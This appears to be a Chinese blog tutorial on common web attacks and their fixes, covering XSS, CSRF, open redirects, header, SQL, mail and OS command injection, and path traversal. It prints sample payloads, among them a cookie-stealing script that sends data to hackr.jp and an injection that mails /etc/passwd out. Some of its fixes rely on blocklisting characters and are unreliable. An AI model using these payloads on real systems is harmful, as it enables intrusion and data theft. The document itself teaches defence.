web網絡攻擊解決方案
阿新 • • 發佈:2018-08-30
插入字符 頁面 ntb 登錄 and 相對 引號 sql 語句 三方
產生原因
- HTTP 不具備安全功能。
- 在客戶端可以篡改請求。
跨站腳本攻擊 XSS
攻擊方式:
- 通過提交的信息中帶入 js 腳本或 html 標簽。
- 提前閉合標簽,有些甚至不用特殊處理。
- 執行操作或者引入三方 js 。
正常請求: http: //example.jp/login?ID="haha" 正常顯示: <input type="text" name="ID" value="yama" /> 攻擊請求: http: //example.jp/login?ID="><script>var+f=document.getElementById("login");</script>" 攻擊顯示: <input type="text" name="ID" value=""><script>var+f=document.getElementById("login");</script>
解決方案:
- 對提交內容進行編譯,“<” 轉 “<”, ">" 轉 “>”。防止文本解析成標簽。
跨站點偽造請求攻擊 CSRF
攻擊方式:
- 通過第三方網站,訪問本網站的接口,導致攜帶本網站的 cookie 。
- 隱匿的使用戶進行操作。
解決方案:
- 方法一:驗證 HTTP Referer 控制請求必須本網站發出。
- 方法二:在請求地址中添加 token 並驗證。
- 方法三:在 HTTP 頭中自定義屬性並驗證,第三方網站的請求禁止攜帶自定義頭。
URL 跳轉漏洞攻擊
攻擊方式:
- 一般登錄頁面會在登錄後,通過 URL 的參數進行回跳。
- 第三方網站,通過提供正規的登錄地址和錯誤的回跳地址。
- 誘導用戶以為安全登錄。
解決方案:
- 對回跳的地址進行嚴格校驗。
- 不能只簡單校驗域名是否在地址中存在。
對用戶 Cookie 的竊取攻擊
攻擊方式:
- 引入三方惡意腳本,傳輸 cookie 到三方服務器。
如下:
var content = escape(document.cookie);
document.write("<img src=http: //hackr.jp/?");
document.write(content);
document.write(">");
解決方案:
- 保證引入腳本的安全,可以通過 CSP 對引入資源進行限制。
HTTP 首部註入攻擊
攻擊方式:
- 通過 %0D%0A 截斷代碼,註入 http 頭代碼。
Location: http: //example.com/a.cgi?q=101%0D%0ASet-Cookie:+SID=123456789
%0D%0A 代表 HTTP 報文中的換行符,緊接著的是可強制將攻擊者網站(http: //hackr.jp/)的會話 ID 設置成 SID=123456789 的 Set-Cookie 首部字段。首部字段 Set-Cookie 已生效,因此攻擊者可指定修改任意的 Cookie 信息。通過和會話固定攻擊(攻擊者可使用指定的會話 ID)攻擊組合,攻擊者可偽裝成用戶。
解決方案:
- 對 %0D%0A 進行識別,並且剔除。
HTTP 響應截斷攻擊
攻擊方式:
- 通過 %0D%0A%0D%0A 截斷代碼,造成多余的空行,註入響應體代碼。
Location: http: //example.com/a.cgi?q=101%0D%0A%0D%0Aalert(1);
HTTP 響應截斷攻擊是用在 HTTP 首部註入的一種攻擊。要將兩個 %0D%0A%0D%0A 並排插入字符串後發送。利用這兩個連續的換行就可作出 HTTP 首部與主體分隔所需的空行了,這樣就能顯示偽造的主體,達到攻擊目的。
解決方案:
- 對 %0D%0A 進行識別,並且剔除。
SQL 註入攻擊
攻擊方式:
- 通過單引號字符加“--”,截斷 sql 語句。
正常請求:
http: //example.jp/search?q=haha
正常執行:
SELECT * FROM bookTbl WHERE author = 'haha' and flag = 1;
攻擊請求:
http: //example.jp/search?q=haha‘ --
攻擊顯示:
SELECT * FROM bookTbl WHERE author = 'haha' --’ and flag = 1;
flag = 1 的條件被忽略
解決方案:
- 對 “‘ --” 進行識別,並且剔除。
服務器文件攻擊
攻擊方式:
- 通過讀取服務器文件,獲取服務器重要文件。
通過請求返回日誌文件
http: //example.com/read.php?log=../../etc/passwd
查詢字段為了讀取攻擊者盯上的 /etc/passwd 文件,會從 /www/log/ 目錄開始定位相對路徑。如果這份 read.php 腳本接受對指定目錄的訪問請求處理,那原本不公開的文件就存在可被訪問的風險。
解決方案:
- 對最終的訪問路徑進行校驗,只能訪問最小目錄。
郵件首部註入攻擊
攻擊方式:
- 通過 %0D%0A 截斷代碼,追加郵件地址。
- 通過 %0D%0A%0D%0A 截斷代碼,造成多余的空行,篡改郵件主體。
[email protected]%0D%0ABcc: [email protected]
%0D%0A 在郵件報文中代表換行符。一旦咨詢表單所在的 Web 應用接收了這個換行符,就可能實現對 Bcc 郵件地址的追加發送,而這原本是無法指定的。
bob @ hackr.jp%0D%0A%0D%0ATest Message
使用兩個連續的換行符就有可能篡改郵件文本內容並發送。
再以相同的方法,就有可能改寫 To 和 Subject 等任意郵件首部,或向文本添加附件等動作。
解決方案:
- 對 %0D%0A 進行識別,並且剔除。
OS 命令註入攻擊
攻擊方式:
- 通過分號,截斷語句,加入攻擊語句。
核心代碼:
my $adr = $q->param('mailaddress');
open(MAIL, "| /usr/sbin/sendmail $adr");
print MAIL "From: info @ example.com\n";
當傳入 mailaddress 參數為 “; cat /etc/passwd | mail hack @ example.jp”
會執行下面的語句:
| /usr/sbin/sendmail ; cat /etc/passwd | mail hack @ example.jp
將含有 Linux 賬戶信息 /etc/passwd 的文件,就以郵件形式發送給了 hack @ example.jp。
解決方案:
- 對分號進行識別,並報錯。
web網絡攻擊解決方案